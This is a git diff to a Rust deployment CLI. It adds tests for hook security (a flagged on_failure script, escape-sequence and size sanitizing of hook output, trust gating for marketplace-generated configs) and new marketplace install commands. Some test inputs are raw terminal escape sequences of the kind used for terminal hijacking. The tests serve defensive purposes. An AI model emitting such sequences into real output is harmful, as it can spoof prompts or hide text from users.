+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
+        }
+        let executor = DeployFailingExecutor {
+            calls: Mutex::new(Vec::new()),
+        };
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_err(), "Deploy fails (synthetic docker error)");
+        let err = format!("{}", result.unwrap_err());
+        let lower = err.to_lowercase();
+        assert!(
+            lower.contains("reject") || lower.contains("on_failure") || lower.contains("security"),
+            "Error must mention the on_failure security rejection, got: {}",
+            err
+        );
+
+        // And the malicious fail.sh must never have been executed.
+        let calls = executor.calls.lock().unwrap();
+        let ran_hook = calls
+            .iter()
+            .any(|(p, args)| p == "sh" && args.iter().any(|a| a.contains("fail.sh")));
+        assert!(
+            !ran_hook,
+            "fail.sh must NOT be invoked once flagged, calls: {:?}",
+            *calls
+        );
+    }
+
+    /// Phase 6b: a CLEAN on_failure hook that exits non-zero must NOT
+    /// mask the original deploy error. The primary error text has to
+    /// survive so the operator sees "why did deploy fail" first, not
+    /// "why did on_failure fail". This is the runtime-failure branch
+    /// mirroring `test_post_deploy_hook_runtime_failure_stays_ok`.
+    #[test]
+    fn test_on_failure_hook_runtime_failure_preserves_original_error() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            // Clean cleanup script — no security findings.
+            ("fail.sh", "#!/bin/sh\necho cleanup ran\nexit 1\n"),
+        ]);
+
+        struct DockerAndShFail {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DockerAndShFail {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "PRIMARY DOCKER ERROR".into(),
+                    })
+                } else if program == "sh" {
+                    // Simulate the hook exiting non-zero at runtime.
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "SECONDARY HOOK ERROR".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
+        }
+
+        let executor = DockerAndShFail {
+            calls: Mutex::new(Vec::new()),
+        };
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_err(), "Deploy must still fail");
+        let err = format!("{}", result.unwrap_err());
+        // The invariant Phase 6b guarantees: a CLEAN on_failure that
+        // fails at runtime does NOT shadow the primary deploy error
+        // with the hook's own stderr. So the hook's stderr text must
+        // NOT appear in the returned error — it's only WARN-logged.
+        assert!(
+            !err.contains("SECONDARY HOOK ERROR"),
+            "on_failure runtime failure text must NOT shadow the primary error, got: {}",
+            err
+        );
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Phase 8 — hook output sanitizer (size cap + ANSI strip)
+    //
+    // These tests are TDD-red: they call `sanitize_hook_output`, which
+    // does not exist yet. Once the sanitizer lands, they turn green.
+    // The wiring test at the bottom exercises `run_hook` end-to-end via
+    // MockExecutor with a synthetic large-and-ANSI-laced stdout.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// M5: raw ANSI sequences from hook stdout can clear the terminal,
+    /// set the window title, or fake a prompt. sanitize_hook_output
+    /// must strip the common families (CSI, OSC, single-char ESC).
+    #[test]
+    fn test_sanitize_strips_csi_color_sequences() {
+        let raw = "hello \x1b[31mred\x1b[0m world\n";
+        let out = sanitize_hook_output(raw);
+        assert!(
+            !out.contains('\x1b'),
+            "ESC byte must be gone after sanitize, got: {:?}",
+            out
+        );
+        assert!(
+            out.contains("hello ") && out.contains("red") && out.contains(" world"),
+            "Literal text must survive stripping, got: {:?}",
+            out
+        );
+    }
+
+    /// M5: OSC (set-title / hyperlink) sequences terminate with BEL or
+    /// ESC-backslash and are notorious for terminal-hijack tricks.
+    #[test]
+    fn test_sanitize_strips_osc_title_sequence() {
+        let raw = "\x1b]0;evil-title\x07visible\n";
+        let out = sanitize_hook_output(raw);
+        assert!(
+            !out.contains('\x1b') && !out.contains('\x07'),
+            "ESC/BEL bytes must be gone after sanitize, got: {:?}",
+            out
+        );
+        assert!(
+            out.contains("visible"),
+            "Literal text after OSC must survive, got: {:?}",
+            out
+        );
+    }
+
+    /// M5: single-char ESC sequences (`ESC c` full reset,
+    /// `ESC 7` save cursor, etc.) must also be dropped.
+    #[test]
+    fn test_sanitize_strips_single_char_esc_sequence() {
+        // ESC c is full terminal reset; ESC 7 saves cursor.
+        let raw = "before\x1bcAFTER\x1b7END\n";
+        let out = sanitize_hook_output(raw);
+        assert!(!out.contains('\x1b'), "ESC byte must be gone, got: {:?}", out);
+        assert!(
+            out.contains("before") && out.contains("AFTER") && out.contains("END"),
+            "Literal payload text must survive, got: {:?}",
+            out
+        );
+    }
+
+    /// Regression guard: normal, clean output must pass through
+    /// unchanged (no accidental mangling of newlines, tabs, or plain
+    /// ASCII).
+    #[test]
+    fn test_sanitize_passthrough_for_clean_output() {
+        let raw = "line 1\n\tindented line 2\nline 3\n";
+        let out = sanitize_hook_output(raw);
+        assert_eq!(out, raw, "Clean output must pass through unchanged");
+    }
+
+    /// M4: outputs larger than 1 MiB must be truncated with a stable
+    /// marker so a hostile hook can't flood the terminal or exhaust
+    /// pager memory.
+    #[test]
+    fn test_sanitize_truncates_oversized_output() {
+        let raw = "A".repeat(HOOK_OUTPUT_MAX_BYTES + 100);
+        let out = sanitize_hook_output(&raw);
+        assert!(
+            out.len() <= HOOK_OUTPUT_MAX_BYTES + HOOK_OUTPUT_TRUNCATION_MARKER.len() + 1,
+            "Truncated output must not exceed cap + marker, got {} bytes",
+            out.len()
+        );
+        assert!(
+            out.contains(HOOK_OUTPUT_TRUNCATION_MARKER.trim()),
+            "Truncated output must carry the truncation marker, got last 200 bytes: {}",
+            &out[out.len().saturating_sub(200)..]
+        );
+    }
+
+    /// M4 corner-case: output at exactly the cap must NOT be marked as
+    /// truncated (off-by-one guard).
+    #[test]
+    fn test_sanitize_at_cap_boundary_not_truncated() {
+        let raw = "A".repeat(HOOK_OUTPUT_MAX_BYTES);
+        let out = sanitize_hook_output(&raw);
+        assert_eq!(out.len(), HOOK_OUTPUT_MAX_BYTES);
+        assert!(!out.contains(HOOK_OUTPUT_TRUNCATION_MARKER.trim()));
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // C4 tests — marketplace-origin trust gating + HookPolicy
+    //
+    // These tests are written TDD-first: they exercise the plumbing
+    // added in run_hook, HookPolicy, and StackerConfig::origin. Each
+    // covers one leaf of the truth table (trusted×untrusted × default/
+    // allow_untrusted/no_hooks) and should turn red the moment any
+    // future refactor drops the enforcement.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    use crate::cli::config_parser::MARKETPLACE_ORIGIN_MARKER;
+    use crate::cli::install_runner::HookPolicy as C4HookPolicy;
+
+    fn build_config_with_hook(hook_field: &str, hook_path: &str) -> String {
+        format!(
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  {}: {}\n",
+            hook_field, hook_path
+        )
+    }
+
+    /// A marketplace-generated stacker.yml (marker at top) must refuse to
+    /// run its pre_build hook under the default policy — even though the
+    /// script itself is benign. The whole point of C4 is that the user
+    /// has not yet reviewed hooks in a file they didn't author.
+    #[test]
+    fn test_c4_marketplace_origin_hook_refused_by_default() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::default(),
+        );
+
+        assert!(
+            result.is_err(),
+            "Marketplace-generated stacker.yml must refuse hooks under default policy, got Ok"
+        );
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.contains("--allow-untrusted-hooks") || err.contains("marketplace"),
+            "Error must mention the --allow-untrusted-hooks flag or marketplace origin, got: {}",
+            err
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for an untrusted hook under default policy"
+        );
+    }
+
+    /// Same file, but the operator passes --allow-untrusted-hooks: the
+    /// hook must run. Verifies the escape hatch actually works.
+    #[test]
+    fn test_c4_marketplace_origin_hook_runs_with_allow_flag() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::allow_untrusted(),
+        );
+
+        assert!(
+            result.is_ok(),
+            "Marketplace-generated hook must run with --allow-untrusted-hooks, got: {:?}",
+            result
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "build.sh must be executed with --allow-untrusted-hooks, sh args: {:?}",
+            sh_args
+        );
+    }
+
+    /// --no-hooks must skip hooks even on a trusted (user-authored) file.
+    /// This is the CI-safe path: a build server can deploy without ever
+    /// running local shell scripts, regardless of stacker.yml provenance.
+    #[test]
+    fn test_c4_no_hooks_skips_pre_build_on_trusted_config() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &hook_yaml),
+            ("build.sh", "#!/bin/sh\necho should-not-run\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::no_hooks(),
+        );
+
+        assert!(result.is_ok(), "Deploy must succeed with --no-hooks: {:?}", result);
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "--no-hooks must suppress every sh invocation, got: {:?}",
+            sh_calls_of(&executor)
+        );
+    }
+
+    /// A user-authored (no marker) stacker.yml must continue to run
+    /// hooks under the default policy — regression guard so C4 doesn't
+    /// break every existing deployment.
+    #[test]
+    fn test_c4_trusted_config_runs_hook_under_default_policy() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &hook_yaml),
+            ("build.sh", "#!/bin/sh\necho ok\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::default(),
+        );
+
+        assert!(
+            result.is_ok(),
+            "Trusted config must run hooks under default policy: {:?}",
+            result
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "build.sh must be executed for trusted config, sh args: {:?}",
+            sh_args
+        );
+    }
+
+    /// Backward-compat guard: the shim `run_deploy()` must behave like
+    /// `run_deploy_with_policy(HookPolicy::default())`. If someone
+    /// re-derives the shim and forgets the default, this test catches it.
+    #[test]
+    fn test_c4_run_deploy_shim_uses_default_policy() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        // Marketplace-marked config + default policy via the shim must refuse.
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "run_deploy() shim must refuse hooks on marketplace-marked config, got Ok"
+        );
+    }
+
+    /// Regression guard: a clean hook script (no findings) must still run
+    /// after the validator is wired up. Without this, the fix could
+    /// over-trigger and break every existing deployment.
+    #[test]
+    fn test_clean_pre_build_hook_still_runs_after_validation() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/sh\nset -e\necho 'building...'\nexit 0\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_ok(), "Clean hook must still pass validation: {:?}", result);
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "Clean build.sh must reach the executor, got args: {:?}",
+            sh_args
+        );
+    }
 }
diff --git a/src/console/commands/cli/explain.rs b/src/console/commands/cli/explain.rs
index 19351600..416056c3 100644
--- a/src/console/commands/cli/explain.rs
+++ b/src/console/commands/cli/explain.rs
@@ -118,8 +118,8 @@ fn print_json<T: serde::Serialize>(value: &T) -> Result<(), CliError> {
     Ok(())
 }
 
-impl CallableTrait for ExplainEnvCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+impl ExplainEnvCommand {
+    fn run(&self) -> Result<(), CliError> {
         let project_dir = std::env::current_dir()?;
         let config = load_config(&project_dir)?;
         let deployment_hash = config
@@ -154,6 +154,22 @@ impl CallableTrait for ExplainEnvCommand {
     }
 }
 
+impl CallableTrait for ExplainEnvCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        match self.run() {
+            Ok(()) => Ok(()),
+            // In human (non-JSON) mode, surface typed errors as their plain message
+            // instead of the raw JSON envelope. JSON mode preserves the envelope so
+            // programmatic consumers (CI, MCP) can keep parsing it.
+            Err(CliError::Typed(envelope)) if !self.json => {
+                eprintln!("Error: {}", envelope.message);
+                std::process::exit(1);
+            }
+            Err(err) => Err(Box::new(err)),
+        }
+    }
+}
+
 impl CallableTrait for ExplainTopologyCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let project_dir = std::env::current_dir()?;
diff --git a/src/console/commands/cli/logs.rs b/src/console/commands/cli/logs.rs
index b15c7acc..914a84f6 100644
--- a/src/console/commands/cli/logs.rs
+++ b/src/console/commands/cli/logs.rs
@@ -254,7 +254,12 @@ fn run_remote_logs(
         let request = AgentEnqueueRequest::new(&hash, "list_containers")
             .with_parameters(&params)
             .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
-        let info = run_remote_agent_command(&ctx, &request, "Discovering containers", REMOTE_TIMEOUT_SECS)?;
+        let info = run_remote_agent_command(
+            &ctx,
+            &request,
+            "Discovering containers",
+            REMOTE_TIMEOUT_SECS,
+        )?;
         if info.status != "completed" {
             let (summary, tip) = no_containers_messages(&hash);
             eprintln!("{}", summary);
@@ -406,10 +411,7 @@ fn print_logs_result(app_code: &str, info: &AgentCommandInfo, multi: bool) {
                 println!("(no log output)");
             } else {
                 for line in lines {
-                    let msg = line
-                        .get("message")
-                        .and_then(|v| v.as_str())
-                        .unwrap_or("");
+                    let msg = line.get("message").and_then(|v| v.as_str()).unwrap_or("");
                     println!("{}", msg);
                 }
             }
diff --git a/src/console/commands/cli/marketplace.rs b/src/console/commands/cli/marketplace.rs
index 5e0c8460..48d79901 100644
--- a/src/console/commands/cli/marketplace.rs
+++ b/src/console/commands/cli/marketplace.rs
@@ -1,7 +1,811 @@
+use crate::cli::config_parser::{StackerConfig, MARKETPLACE_ORIGIN_MARKER};
 use crate::cli::credentials::CredentialsManager;
+use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
-use crate::cli::stacker_client::StackerClient;
+use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::{build_deploy_form, MarketplaceTemplate, StackerClient};
 use crate::console::commands::CallableTrait;
+use dialoguer::Confirm;
+use serde_json::{Map, Value};
+use std::path::{Path, PathBuf};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// marketplace templates (list all / browse catalog)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct MarketplaceTemplatesCommand {
+    category: Option<String>,
+    tag: Option<String>,
+    json: bool,
+}
+
+impl MarketplaceTemplatesCommand {
+    pub fn new(category: Option<String>, tag: Option<String>, json: bool) -> Self {
+        Self { category, tag, json }
+    }
+}
+
+impl CallableTrait for MarketplaceTemplatesCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("list marketplace templates")?;
+        let templates = ctx.block_on(async {
+            ctx.client
+                .list_marketplace_templates(self.category.as_deref(), self.tag.as_deref())
+                .await
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&templates)?);
+            return Ok(());
+        }
+
+        if templates.is_empty() {
+            let filter_hint = match (&self.category, &self.tag) {
+                (Some(cat), None) => format!(" for category '{}'", cat),
+                (None, Some(tag)) => format!(" for tag '{}'", tag),
+                (Some(cat), Some(tag)) => format!(" for category '{}' and tag '{}'", cat, tag),
+                (None, None) => String::new(),
+            };
+            println!("No marketplace templates found{}.", filter_hint);
+            println!("Browse the catalog at: https://try.direct/applications");
+            return Ok(());
+        }
+
+        println!(
+            "{:<24} {:<28} {:<14} {}",
+            "ITEM", "NAME", "PLAN", "DESCRIPTION"
+        );
+        println!("{}", "\u{2500}".repeat(92));
+        for template in &templates {
+            println!(
+                "{:<24} {:<28} {:<14} {}",
+                truncate(&template.slug, 22),
+                truncate(&template.name, 26),
+                display_plan(template),
+                truncate(template.description.as_deref().unwrap_or(""), 26),
+            );
+        }
+        eprintln!(
+            "\nInstall one with: stacker install {}",
+            templates
+                .first()
+                .map(|template| template.slug.as_str())
+                .unwrap_or("<item>")
+        );
+
+        Ok(())
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// marketplace find/install
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct MarketplaceFindCommand {
+    query: String,
+    json: bool,
+    limit: Option<u32>,
+}
+
+impl MarketplaceFindCommand {
+    pub fn new(query: String, json: bool, limit: Option<u32>) -> Self {
+        Self { query, json, limit }
+    }
+}
+
+impl CallableTrait for MarketplaceFindCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("find marketplace templates")?;
+
+        let is_list_all = self.query.eq_ignore_ascii_case("all") || self.query == "*";
+
+        let templates = ctx.block_on(async {
+            if is_list_all {
+                ctx.client.list_marketplace_templates(None, None).await
+            } else {
+                ctx.client
+                    .search_marketplace_templates(
+                        Some(&self.query),
+                        None,
+                        None,
+                        Some(self.limit.unwrap_or(20)),
+                    )
+                    .await
+            }
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&templates)?);
+            return Ok(());
+        }
+
+        if templates.is_empty() {
+            if is_list_all {
+                println!("No marketplace templates found.");
+                println!("Browse the catalog at: https://try.direct/applications");
+            } else {
+                println!(
+                    "No marketplace templates found for '{}'. Try 'stacker find all' to browse everything.",
+                    self.query
+                );
+            }
+            return Ok(());
+        }
+
+        println!(
+            "{:<24} {:<28} {:<14} {}",
+            "ITEM", "NAME", "PLAN", "DESCRIPTION"
+        );
+        println!("{}", "\u{2500}".repeat(92));
+        for template in &templates {
+            println!(
+                "{:<24} {:<28} {:<14} {}",
+                truncate(&template.slug, 22),
+                truncate(&template.name, 26),
+                display_plan(template),
+                truncate(template.description.as_deref().unwrap_or(""), 26),
+            );
+        }
+        eprintln!(
+            "\nInstall one with: stacker install {}",
+            templates
+                .first()
+                .map(|template| template.slug.as_str())
+                .unwrap_or("<item>")
+        );
+
+        Ok(())
+    }
+}
+
+pub struct MarketplaceInstallCommand {
+    template: String,
+    name: Option<String>,
+    file: PathBuf,
+    force: bool,
+    json: bool,
+    domain: Option<String>,
+    set_values: Vec<String>,
+}
+
+impl MarketplaceInstallCommand {
+    pub fn new(
+        template: String,
+        name: Option<String>,
+        file: Option<PathBuf>,
+        force: bool,
+        json: bool,
+        domain: Option<String>,
+        set_values: Vec<String>,
+    ) -> Self {
+        Self {
+            template,
+            name,
+            file: file.unwrap_or_else(|| PathBuf::from("stacker.yml")),
+            force,
+            json,
+            domain,
+            set_values,
+        }
+    }
+}
+
+impl CallableTrait for MarketplaceInstallCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        // Refuse to run inside an existing project directory.
+        // 'stacker install' creates a whole new project — it does not extend
+        // the current one. Users should use 'stacker service add' instead.
+        if self.file.exists() {
+            let project_dir = self
+                .file
+                .parent()
+                .filter(|p| !p.as_os_str().is_empty())
+                .unwrap_or_else(|| Path::new("."));
+            if DeploymentLock::exists(project_dir) {
+                return Err(Box::new(CliError::ConfigValidation(
+                     "This directory already contains a deployed project.\n\
+                     'stacker install' creates a new project from a template — it cannot \
+                     be used inside an existing project directory.\n\n\
+                     To extend your current project, use:\n  \
+                     stacker service add <service>\n  \
+                     stacker agent deploy-app <stack_code>\n\n\
+                     To create a new project, run 'stacker install' in an empty directory."
+                        .to_string(),
+                )));
+            }
+        }
+
+        let ctx = CliRuntime::new("install marketplace template")?;
+
+        let (mut deploy_form, config_inputs, generated_stacker_yml) = if self.file.exists() {
+            let config = StackerConfig::from_file(&self.file)?;
+            let mut form = build_deploy_form(&config);
+            if let Some(stack) = form
+                .get_mut("stack")
+                .and_then(|value| value.as_object_mut())
+            {
+                stack.insert(
+                    "stack_code".to_string(),
+                    serde_json::Value::String(self.template.clone()),
+                );
+            }
+            (Some(form), config.install.inputs, false)
+        } else {
+            // No local stacker.yml. If this is a catalog application, we cannot
+            // install it without deploy context — instead of erroring out and
+            // leaving the user stuck, ask permission to generate a minimal
+            // stacker.yml using --domain and proceed with a real deployment.
+            let needs_deploy_context = ctx.block_on(async {
+                catalog_app_needs_deploy_context(&ctx.client, &self.template).await
+            })?;
+
+            if needs_deploy_context {
+                if !self.force && !confirm_generate_stacker_file(&self.file, &self.template)? {
+                    println!(
+                        "Aborted: no {} written and no remote project was created.",
+                        self.file.display()
+                    );
+                    return Ok(());
+                }
+                let config = ctx.block_on(async {
+                    generate_minimal_install_config(
+                        &ctx.client,
+                        &self.template,
+                        self.name.as_deref(),
+                        self.domain.as_deref(),
+                    )
+                    .await
+                })?;
+                let yaml = serde_yaml::to_string(&config).map_err(|err| {
+                    CliError::ConfigValidation(format!("Failed to render stacker.yml: {}", err))
+                })?;
+                std::fs::write(&self.file, prepend_marketplace_marker(&yaml))?;
+                let mut form = build_deploy_form(&config);
+                if let Some(stack) = form
+                    .get_mut("stack")
+                    .and_then(|value| value.as_object_mut())
+                {
+                    stack.insert(
+                        "stack_code".to_string(),
+                        serde_json::Value::String(self.template.clone()),
+                    );
+                }
+                if let Some(cloud) = config.deploy.cloud.as_ref() {
+                    if let Some(key) = cloud.key.as_deref() {
+                        if let Some(form_cloud) = form
+                            .get_mut("cloud")
+                            .and_then(|value| value.as_object_mut())
+                        {
+                            form_cloud.insert(
+                                "name".to_string(),
+                                serde_json::Value::String(key.to_string()),
+                            );
+                        }
+                    }
+                }
+                (Some(form), config.install.inputs, true)
+            } else {
+                (None, Default::default(), false)
+            }
+        };
+
+        // If the deploy form has no cloud credential name, try to resolve
+        // one from the project's existing cloud deployment lock file.
+        if let Some(form) = deploy_form.as_mut() {
+            let has_cloud_name = form
+                .get("cloud")
+                .and_then(|c| c.get("name"))
+                .and_then(|n| n.as_str())
+                .filter(|s| !s.is_empty())
+                .is_some();
+
+            if !has_cloud_name {
+                let project_dir = self
+                    .file
+                    .parent()
+                    .filter(|p| !p.as_os_str().is_empty())
+                    .unwrap_or_else(|| Path::new("."));
+
+                if let Ok(Some(lock)) = DeploymentLock::load_for_target(project_dir, "cloud") {
+                    if let Some(cloud_id) = lock.cloud_id {
+                        let cloud_info = ctx
+                            .block_on(async { ctx.client.get_cloud(cloud_id).await })
+                            .ok()
+                            .flatten();
+
+                        if let Some(cloud) = cloud_info {
+                            if let Some(form_cloud) =
+                                form.get_mut("cloud").and_then(|v| v.as_object_mut())
+                            {
+                                form_cloud.insert(
+                                    "name".to_string(),
+                                    serde_json::Value::String(cloud.name.clone()),
+                                );
+                                form_cloud.insert(
+                                    "save_token".to_string(),
+                                    serde_json::Value::Bool(false),
+                                );
+                                eprintln!(
+                                    "Using cloud credential '{}' from previous deployment.",
+                                    cloud.name
+                                );
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        let install_inputs =
+            resolve_install_inputs(config_inputs, self.domain.as_deref(), &self.set_values)?;
+        if let Some(form) = deploy_form.as_mut() {
+            apply_install_inputs_to_deploy_form(form, &install_inputs);
+        }
+        let install_inputs = if install_inputs.is_empty() {
+            None
+        } else {
+            Some(install_inputs)
+        };
+
+        if generated_stacker_yml {
+            println!(
+                "Wrote {} with defaults. Starting deployment...",
+                self.file.display()
+            );
+        }
+
+        let response = ctx.block_on(async {
+            ctx.client
+                .install_marketplace_template(
+                    &self.template,
+                    self.name.as_deref(),
+                    deploy_form,
+                    install_inputs,
+                )
+                .await
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&response)?);
+            return Ok(());
+        }
+
+        if let Some(deployment_id) = response.deployment_id {
+            println!(
+                "Installed '{}' as project #{} and started deployment #{}.",
+                response.template.slug, response.project.id, deployment_id
+            );
+            println!("Track with: stacker deployments state {}", deployment_id);
+            return Ok(());
+        }
+
+        let Some(yaml) = response_stack_definition(&response) else {
+            println!(
+                "Installed '{}' as project #{}.",
+                response.template.slug, response.project.id
+            );
+            if !generated_stacker_yml {
+                println!(
+                    "No local {} was written because this catalog application did not return a stack definition.",
+                    self.file.display()
+                );
+            }
+            return Ok(());
+        };
+
+        if !self.force && !confirm_stacker_file_write(&self.file)? {
+            println!(
+                "Installed '{}' as project #{}.",
+                response.template.slug, response.project.id
+            );
+            println!("Skipped writing {}.", self.file.display());
+            return Ok(());
+        }
+
+        std::fs::write(&self.file, prepend_marketplace_marker(&yaml))?;
+
+        println!(
+            "Installed '{}' as project #{}.",
+            response.template.slug, response.project.id
+        );
+        println!("Wrote {}", self.file.display());
+        println!(
+            "  Hooks in this file will be REFUSED by `stacker deploy` until you review \
+             them and remove the '{}' marker line (or pass --allow-untrusted-hooks).",
+            MARKETPLACE_ORIGIN_MARKER
+        );
+        println!(
+            "Deploy with: stacker deploy --project {}",
+            response.project.name
+        );
+
+        Ok(())
+    }
+}
+
+/// Prepend the marketplace-origin marker to a YAML body so that a
+/// subsequent `stacker deploy` treats hook execution as untrusted.
+///
+/// The marker is idempotent — if the body already starts with the
+/// marker line, we don't add a second copy.
+fn prepend_marketplace_marker(yaml: &str) -> String {
+    let already_marked = yaml
+        .lines()
+        .find(|line| !line.trim().is_empty())
+        .map(|line| {
+            line.trim()
+                .strip_prefix('#')
+                .map(|rest| rest.trim().eq_ignore_ascii_case(
+                    MARKETPLACE_ORIGIN_MARKER.trim_start_matches('#').trim(),
+                ))
+                .unwrap_or(false)
+        })
+        .unwrap_or(false);
+    if already_marked {
+        yaml.to_string()
+    } else {
+        format!(
+            "{marker}\n# Delete the line above once you have reviewed hooks in this file — \
+             `stacker deploy` refuses to run hooks while the marker is present.\n{body}",
+            marker = MARKETPLACE_ORIGIN_MARKER,
+            body = yaml
+        )
+    }
+}
+
+fn response_stack_definition(
+    response: &crate::cli::stacker_client::MarketplaceInstallResponse,
+) -> Option<String> {
+    let value = response.latest_version.get("stack_definition")?;
+
+    if value.is_object() {
+        return serde_yaml::to_string(value).ok();
+    }
+
+    if let Some(yaml_str) = value.as_str() {
+        use docker_compose_types as dctypes;
+
+        // Parse as Docker Compose and convert to stacker config format
